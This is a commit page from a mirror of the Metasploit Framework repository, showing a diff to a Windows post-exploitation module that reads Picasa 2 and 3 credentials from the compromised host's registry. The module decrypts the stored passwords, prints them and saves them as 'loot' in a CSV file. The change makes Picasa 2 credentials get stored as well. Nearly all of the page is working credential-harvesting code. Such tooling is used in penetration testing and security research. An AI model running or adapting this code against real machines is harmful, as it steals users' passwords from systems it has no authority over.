infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Picasa 2 credentials are now also saved as loot 

This module used to save only Picasa 3 credentials as loot. Picasa
2 creds were displayed, but not saved. I've updated the module to
save Picasa 2 credentials, and I also updated the output code to
use print_good instead of print_status.
bug/bundler_fix
Charles Smith 2013-01-22 15:46:47 -05:00
parent 624ef9a329
commit 9671df4488
1 changed files with 41 additions and 31 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

68
modules/post/windows/gather/credentials/enum_picasa_pwds.rb
View File

@ -70,7 +70,6 @@ class Metasploit3 < Msf::Post
end
def get_registry
psecrets = ""
begin
print_status("Looking in registry for stored login passwords by Picasa ...")
@ -80,24 +79,6 @@ class Metasploit3 < Msf::Post
password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa2\\Preferences\\",
'GaiaPass')
if username != nil and password != nil
passbin = [password].pack("H*")
pass = decrypt_password(passbin)
if pass != nil
print_status("Username: #{username}")
print_status("Password: #{pass}")
secret = "#{username}:#{pass}"
psecrets << secret
end
end
#For early versions of Picasa3
username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\",
'GaiaEmail')
password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\",
'GaiaPass')
credentials = Rex::Ui::Text::Table.new(
'Header' => "Picasa Credentials",
'Indent' => 1,
@ -107,27 +88,56 @@ class Metasploit3 < Msf::Post
"Password"
])
foundcreds = 0
if username != nil and password != nil
passbin = [password].pack("H*")
pass = decrypt_password(passbin)
if pass != nil
print_status("Username: #{username}")
print_status("Password: #{pass}")
print_status("Found Picasa 2 credentials.")
print_good("Username: #{username}\t Password: #{pass}")
foundcreds = 1
credentials << [username,pass]
path = store_loot(
"picasa.creds",
"text/csv",
session,
credentials.to_csv,
"decrypted_picasa_data.csv",
"Decrypted Picasa Passwords")
print_status("Decrypted passwords saved in: #{path}")
end
end
#For early versions of Picasa3
username = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\",
'GaiaEmail')
password = registry_getvaldata("HKCU\\Software\\Google\\Picasa\\Picasa3\\Preferences\\",
'GaiaPass')
if username != nil and password != nil
passbin = [password].pack("H*")
pass = decrypt_password(passbin)
if pass != nil
print_status("Found Picasa 3 credentials.")
print_good("Username: #{username}\t Password: #{pass}")
foundcreds = 1
credentials << [username,pass]
end
end
if foundcreds == 1
path = store_loot(
"picasa.creds",
"text/csv",
session,
credentials.to_csv,
"decrypted_picasa_data.csv",
"Decrypted Picasa Passwords")
print_status("Decrypted passwords saved in: #{path}")
else
print_status("No Picasa credentials found.")
end
rescue ::Exception => e
print_error("An error has occurred: #{e.to_s}")
end